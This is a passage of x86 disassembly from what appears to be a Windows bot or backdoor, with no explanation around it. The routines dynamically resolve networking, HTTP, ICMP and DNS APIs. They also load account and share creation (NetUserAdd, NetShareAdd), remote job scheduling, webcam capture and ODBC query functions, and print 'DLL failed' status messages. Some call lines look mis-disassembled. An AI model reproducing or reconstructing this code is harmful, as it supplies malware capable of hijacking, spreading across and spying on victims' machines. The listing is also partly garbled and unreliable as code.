		push	edi
		mov	dword_43AD98, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_43AD94, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_43ACD4, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_43ACCC, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_43ADE8, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_43ADFC, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_43ADB0, eax
		call	esi
		mov	dword_43AD70, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_43ADC4, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_43AD80, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_43ADC0, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_43AE2C, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_43AD78, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_43AD3C, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_43ADAC, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_43AE1C, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_43AD50, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_43ACF4, eax
		call	esi
		cmp	dword_43AD10, ebx
		mov	dword_43AE30, eax
		jz	loc_409FD6
		cmp	dword_43AE3C, ebx
		jz	loc_409FD6
		cmp	dword_43ACB4, ebx
		jz	loc_409FD6
		cmp	dword_43AD44, ebx
		jz	loc_409FD6
		cmp	dword_43AD2C, ebx
		jz	loc_409FD6
		cmp	dword_43ACF8, ebx
		jz	loc_409FD6
		cmp	dword_43AE18, ebx
		jz	loc_409FD6
		cmp	dword_43AE34, ebx
		jz	loc_409FD6
		cmp	dword_43AD40, ebx
		jz	loc_409FD6
		cmp	dword_43AE24, ebx
		jz	loc_409FD6
		cmp	dword_43ADD8, ebx
		jz	loc_409FD6
		cmp	dword_43AD98, ebx
		jz	loc_409FD6
		cmp	dword_43AD94, ebx
		jz	loc_409FD6
		cmp	dword_43ACD4, ebx
		jz	short loc_409FD6
		cmp	dword_43ADE8, ebx
		jz	short loc_409FD6
		cmp	dword_43ADFC, ebx
		jz	short loc_409FD6
		cmp	dword_43ADB0, ebx
		jz	short loc_409FD6
		cmp	dword_43AD70, ebx
		jz	short loc_409FD6
		cmp	dword_43ADC4, ebx
		jz	short loc_409FD6
		cmp	dword_43AD80, ebx
		jz	short loc_409FD6
		cmp	dword_43ADC0, ebx
		jz	short loc_409FD6
		cmp	dword_43AE2C, ebx
		jz	short loc_409FD6
		cmp	dword_43AD78, ebx
		jz	short loc_409FD6
		cmp	dword_43AD3C, ebx
		jz	short loc_409FD6
		cmp	dword_43ADAC, ebx
		jz	short loc_409FD6
		cmp	dword_43AE1C, ebx
		jz	short loc_409FD6
		cmp	dword_43AD50, ebx
		jz	short loc_409FD6
		cmp	eax, ebx
		jnz	short loc_409FE0
		jmp	short loc_409FD6
; ---------------------------------------------------------------------------


loc_409FCB:				; CODE XREF: sub_40981F+501j
		nop
		call	near ptr 2670ADCh
		mov	dword_43AE7C, eax


loc_409FD6:				; CODE XREF: sub_40981F+6A0j
					; sub_40981F+6ACj ...
		mov	dword_43AE78, 1


loc_409FE0:				; CODE XREF: sub_40981F+7A8j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A0E5
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_43ACDC, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_43AC68, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_43AD60, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_43AD14, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_43AD6C, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_43AD30, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_43ACA8, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_43ACA0, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_43ACB0, eax
		call	esi
		cmp	dword_43ACDC, ebx
		mov	ecx, dword_43AD30
		mov	dword_43ADCC, eax
		jz	short loc_40A0C1
		cmp	dword_43AC68, ebx
		jz	short loc_40A0C1
		cmp	dword_43AD60, ebx
		jz	short loc_40A0C1
		cmp	dword_43AD14, ebx
		jz	short loc_40A0C1
		cmp	dword_43AD6C, ebx
		jz	short loc_40A0C1
		cmp	ecx, ebx
		jz	short loc_40A0C1
		cmp	dword_43ACA8, ebx
		jz	short loc_40A0C1
		cmp	dword_43ACA0, ebx
		jz	short loc_40A0C1
		cmp	dword_43ACB0, ebx
		jz	short loc_40A0C1
		cmp	eax, ebx
		jnz	short loc_40A0CB


loc_40A0C1:				; CODE XREF: sub_40981F+860j
					; sub_40981F+868j ...
		mov	dword_43AE80, 1


loc_40A0CB:				; CODE XREF: sub_40981F+8A0j
		cmp	ecx, ebx
		jz	short loc_40A100
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_43AD48, eax
		jnz	short loc_40A100
		jmp	short loc_40A0FA
; ---------------------------------------------------------------------------


loc_40A0E5:				; CODE XREF: sub_40981F+7CCj
		call	near ptr 2670ADCh
		nop
		mov	dword_43AE84, eax
		mov	dword_43AE80, 1


loc_40A0FA:				; CODE XREF: sub_40981F+8C4j
		mov	dword_43AD48, ebx


loc_40A100:				; CODE XREF: sub_40981F+8AEj
					; sub_40981F+8C2j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A14A
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_43AD24, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_43AE50, eax
		call	esi
		cmp	dword_43AD24, ebx
		mov	dword_43ACBC, eax
		jz	short loc_40A155
		cmp	dword_43AE50, ebx
		jz	short loc_40A155
		cmp	eax, ebx
		jnz	short loc_40A15F
		jmp	short loc_40A155
; ---------------------------------------------------------------------------


loc_40A14A:				; CODE XREF: sub_40981F+8ECj
		nop
		call	near ptr 2670ADCh
		mov	dword_43AE8C, eax


loc_40A155:				; CODE XREF: sub_40981F+91Bj
					; sub_40981F+923j ...
		mov	dword_43AE88, 1


loc_40A15F:				; CODE XREF: sub_40981F+927j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A255
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_43AC98, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_43AC70, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_43ACE4, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_43AD18, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_43AE28, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_43ACD0, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_43AC7C, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_43AC6C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_43AD00, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_43ADF0, eax
		call	esi
		cmp	dword_43AC98, ebx
		mov	dword_43ADA8, eax
		jz	short loc_40A260
		cmp	dword_43AC70, ebx
		jz	short loc_40A260
		cmp	dword_43ACE4, ebx
		jz	short loc_40A260
		cmp	dword_43AD18, ebx
		jz	short loc_40A260
		cmp	dword_43AE28, ebx
		jz	short loc_40A260
		cmp	dword_43ACD0, ebx
		jz	short loc_40A260
		cmp	dword_43AC7C, ebx
		jz	short loc_40A260
		cmp	dword_43AC6C, ebx
		jz	short loc_40A260
		cmp	dword_43AD00, ebx
		jz	short loc_40A260
		cmp	dword_43ADF0, ebx
		jz	short loc_40A260
		cmp	eax, ebx
		jnz	short loc_40A26A
		jmp	short loc_40A260
; ---------------------------------------------------------------------------


loc_40A255:				; CODE XREF: sub_40981F+94Bj
		call	near ptr 2670ADCh
		nop
		mov	dword_43AE94, eax


loc_40A260:				; CODE XREF: sub_40981F+9E6j
					; sub_40981F+9EEj ...
		mov	dword_43AE90, 1


loc_40A26A:				; CODE XREF: sub_40981F+A32j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A29F
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_43ACC0, eax
		call	esi
		cmp	dword_43ACC0, ebx
		mov	dword_43AD90, eax
		jz	short loc_40A2AA
		cmp	eax, ebx
		jnz	short loc_40A2B4
		jmp	short loc_40A2AA
; ---------------------------------------------------------------------------


loc_40A29F:				; CODE XREF: sub_40981F+A56j
		call	near ptr 2670ADCh
		nop
		mov	dword_43AE9C, eax


loc_40A2AA:				; CODE XREF: sub_40981F+A78j
					; sub_40981F+A7Ej
		mov	dword_43AE98, 1


loc_40A2B4:				; CODE XREF: sub_40981F+A7Cj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A2E9
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_43AE14, eax
		call	esi
		cmp	dword_43AE14, ebx
		mov	dword_43AE10, eax
		jz	short loc_40A2F4
		cmp	eax, ebx
		jnz	short loc_40A2FE
		jmp	short loc_40A2F4
; ---------------------------------------------------------------------------


loc_40A2E9:				; CODE XREF: sub_40981F+AA0j
		call	near ptr 2670ADCh
		nop
		mov	dword_43AEA4, eax


loc_40A2F4:				; CODE XREF: sub_40981F+AC2j
					; sub_40981F+AC8j
		mov	dword_43AEA0, 1


loc_40A2FE:				; CODE XREF: sub_40981F+AC6j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A35D
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_43AE40, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_43AE38, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_43AE00, eax
		call	esi
		cmp	dword_43AE40, ebx
		mov	dword_43ACD8, eax
		jz	short loc_40A368
		cmp	dword_43AE38, ebx
		jz	short loc_40A368
		cmp	dword_43AE00, ebx
		jz	short loc_40A368
		cmp	eax, ebx
		jnz	short loc_40A372
		jmp	short loc_40A368
; ---------------------------------------------------------------------------


loc_40A35D:				; CODE XREF: sub_40981F+AEAj
		call	near ptr 2670ADCh
		nop
		mov	dword_43AEAC, eax


loc_40A368:				; CODE XREF: sub_40981F+B26j
					; sub_40981F+B2Ej ...
		mov	dword_43AEA8, 1


loc_40A372:				; CODE XREF: sub_40981F+B3Aj
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A3A7
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_43AD0C, eax
		call	esi
		cmp	dword_43AD0C, ebx
		mov	dword_43AE0C, eax
		jz	short loc_40A3B2
		cmp	eax, ebx
		jnz	short loc_40A3BC
		jmp	short loc_40A3B2
; ---------------------------------------------------------------------------


loc_40A3A7:				; CODE XREF: sub_40981F+B5Ej
		nop
		call	near ptr 2670ADCh
		mov	dword_43AEB4, eax


loc_40A3B2:				; CODE XREF: sub_40981F+B80j
					; sub_40981F+B86j
		mov	dword_43AEB0, 1


loc_40A3BC:				; CODE XREF: sub_40981F+B84j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A445
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_43ADD4, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_43AE20, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_43AD5C, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_43AD1C, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_43ADB4, eax
		call	esi
		cmp	dword_43ADD4, ebx
		mov	dword_43AD28, eax
		jz	short loc_40A450
		cmp	dword_43AE20, ebx
		jz	short loc_40A450
		cmp	dword_43AD5C, ebx
		jz	short loc_40A450
		cmp	dword_43AD1C, ebx
		jz	short loc_40A450
		cmp	dword_43ADB4, ebx
		jz	short loc_40A450
		cmp	eax, ebx
		jnz	short loc_40A45A
		jmp	short loc_40A450
; ---------------------------------------------------------------------------


loc_40A445:				; CODE XREF: sub_40981F+BA8j
		nop
		call	near ptr 2670ADCh
		mov	dword_43AEBC, eax


loc_40A450:				; CODE XREF: sub_40981F+BFEj
					; sub_40981F+C06j ...
		mov	dword_43AEB8, 1


loc_40A45A:				; CODE XREF: sub_40981F+C22j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A48F
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_43ACF0, eax
		call	esi
		cmp	dword_43ACF0, ebx
		mov	dword_43ADC8, eax
		jz	short loc_40A49A
		cmp	eax, ebx
		jnz	short loc_40A4A4
		jmp	short loc_40A49A
; ---------------------------------------------------------------------------


loc_40A48F:				; CODE XREF: sub_40981F+C46j
		nop
		call	near ptr 2670ADCh
		mov	dword_43AEC4, eax


loc_40A49A:				; CODE XREF: sub_40981F+C68j
					; sub_40981F+C6Ej
		mov	dword_43AEC0, 1


loc_40A4A4:				; CODE XREF: sub_40981F+C6Cj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40981F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A4AC	proc near		; CODE XREF: sub_40EE72+57D3p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_43AE58, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A4F4
		push	dword_43AE5C
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A4F4:				; CODE XREF: sub_40A4AC+1Aj
		cmp	dword_43AE60, esi
		jz	short loc_40A528
		push	dword_43AE64
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A528:				; CODE XREF: sub_40A4AC+4Ej
		cmp	dword_43AE68, esi
		jz	short loc_40A55C
		push	dword_43AE6C
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A55C:				; CODE XREF: sub_40A4AC+82j
		cmp	dword_43AE70, esi
		jz	short loc_40A590
		push	dword_43AE74
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A590:				; CODE XREF: sub_40A4AC+B6j
		cmp	dword_43AE78, esi
		jz	short loc_40A5C4
		push	dword_43AE7C
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A5C4:				; CODE XREF: sub_40A4AC+EAj
		cmp	dword_43AE80, esi
		jz	short loc_40A5F8
		push	dword_43AE84
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A5F8:				; CODE XREF: sub_40A4AC+11Ej
		cmp	dword_43AE88, esi
		jz	short loc_40A62C
		push	dword_43AE8C
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A62C:				; CODE XREF: sub_40A4AC+152j
		cmp	dword_43AE90, esi
		jz	short loc_40A660
		push	dword_43AE94
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A660:				; CODE XREF: sub_40A4AC+186j
		cmp	dword_43AE98, esi
		jz	short loc_40A694
		push	dword_43AE9C
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A694:				; CODE XREF: sub_40A4AC+1BAj
		cmp	dword_43AEA0, esi
		jz	short loc_40A6C8
		push	dword_43AEA4
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A6C8:				; CODE XREF: sub_40A4AC+1EEj
		cmp	dword_43AEA8, esi
		jz	short loc_40A6FC
		push	dword_43AEAC
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A6FC:				; CODE XREF: sub_40A4AC+222j
		cmp	dword_43AEB0, esi
		jz	short loc_40A730
		push	dword_43AEB4
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A730:				; CODE XREF: sub_40A4AC+256j
		cmp	dword_43AEB8, esi
		jz	short loc_40A764
		push	dword_43AEBC
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A764:				; CODE XREF: sub_40A4AC+28Aj
		cmp	dword_43AEC0, esi
		jz	short loc_40A798
		push	dword_43AEC4
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 20h


loc_40A798:				; CODE XREF: sub_40A4AC+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D764
		push	eax
		call	sub_4172B0
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40A7C5
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_40A7C5:				; CODE XREF: sub_40A4AC+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A4AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7D7	proc near		; CODE XREF: sub_40EE72+C5Ep
					; sub_40EE72+C92p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_40A862
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_40A862
		cmp	[ebp+arg_8], esi
		jz	short loc_40A862
		cmp	byte ptr [eax],	0
		jz	short loc_40A862
		push	ebx
		push	edi
		call	sub_42274B
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_40A85D
		push	[ebp+arg_4]
		push	edi
		call	sub_417880
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40A856
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_418C10
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_417AB0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_418DE0
		push	[ebp+arg_4]
		call	sub_417AB0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_4179D0
		push	ebx
		push	edi
		call	sub_4179C0
		add	esp, 30h
		mov	esi, edi


loc_40A856:				; CODE XREF: sub_40A7D7+3Cj
		push	ebx
		call	sub_417C3B
		pop	ecx


loc_40A85D:				; CODE XREF: sub_40A7D7+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_40A864
; ---------------------------------------------------------------------------


loc_40A862:				; CODE XREF: sub_40A7D7+Cj
					; sub_40A7D7+13j ...
		xor	eax, eax


loc_40A864:				; CODE XREF: sub_40A7D7+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40A7D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A868	proc near		; CODE XREF: sub_40ECFA+E9p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_417330
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_417AB0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_40A89E


loc_40A899:				; DATA XREF: ___:00428424o
					; ___:00428468o ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_40A911
; ---------------------------------------------------------------------------


loc_40A89E:				; CODE XREF: sub_40A868+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_40A8C0


loc_40A8AA:				; CODE XREF: sub_40A868+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_40A8B7
		cmp	dl, 0Dh
		jnz	short loc_40A8BB


loc_40A8B7:				; CODE XREF: sub_40A868+48j
		and	byte ptr [ecx+esi], 0


loc_40A8BB:				; CODE XREF: sub_40A868+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_40A8AA


loc_40A8C0:				; CODE XREF: sub_40A868+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_40A8F1
		lea	edi, [ebp+var_7CC]


loc_40A8CD:				; CODE XREF: sub_40A868+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_40A8EC
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_40A8EC
		cmp	ebx, 1F4h
		jge	short loc_40A8F1
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_40A8EC:				; CODE XREF: sub_40A868+69j
					; sub_40A868+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_40A8CD


loc_40A8F1:				; CODE XREF: sub_40A868+5Dj
					; sub_40A868+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_40A90F
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_417390
		add	esp, 0Ch


loc_40A90F:				; CODE XREF: sub_40A868+8Ej
		mov	eax, ebx


loc_40A911:				; CODE XREF: sub_40A868+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_40A868	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A915	proc near		; CODE XREF: sub_40A96F+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_40A94E
		push	ebx
		mov	ebx, edi


loc_40A932:				; CODE XREF: sub_40A915+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_40A951
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_40A932
		pop	ebx


loc_40A94E:				; CODE XREF: sub_40A915+18j
		pop	edi
		pop	esi
		retn
sub_40A915	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A951	proc near		; CODE XREF: sub_40A915+25p
					; sub_40A96F+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_419101
		cmp	al, 61h
		pop	ecx
		jl	short loc_40A96C
		cmp	al, 7Ah
		jg	short loc_40A96C
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_40A96C:				; CODE XREF: sub_40A951+Ej
					; sub_40A951+12j
		xor	eax, eax
		retn
sub_40A951	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A96F	proc near		; CODE XREF: sub_40C04D+10p
					; sub_40C07F+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_417B30
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_417AB0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_417AB0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_40A915
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_40A9AD:				; CODE XREF: sub_40A96F+B6j
		test	esi, esi
		jle	short loc_40AA2B
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_419101
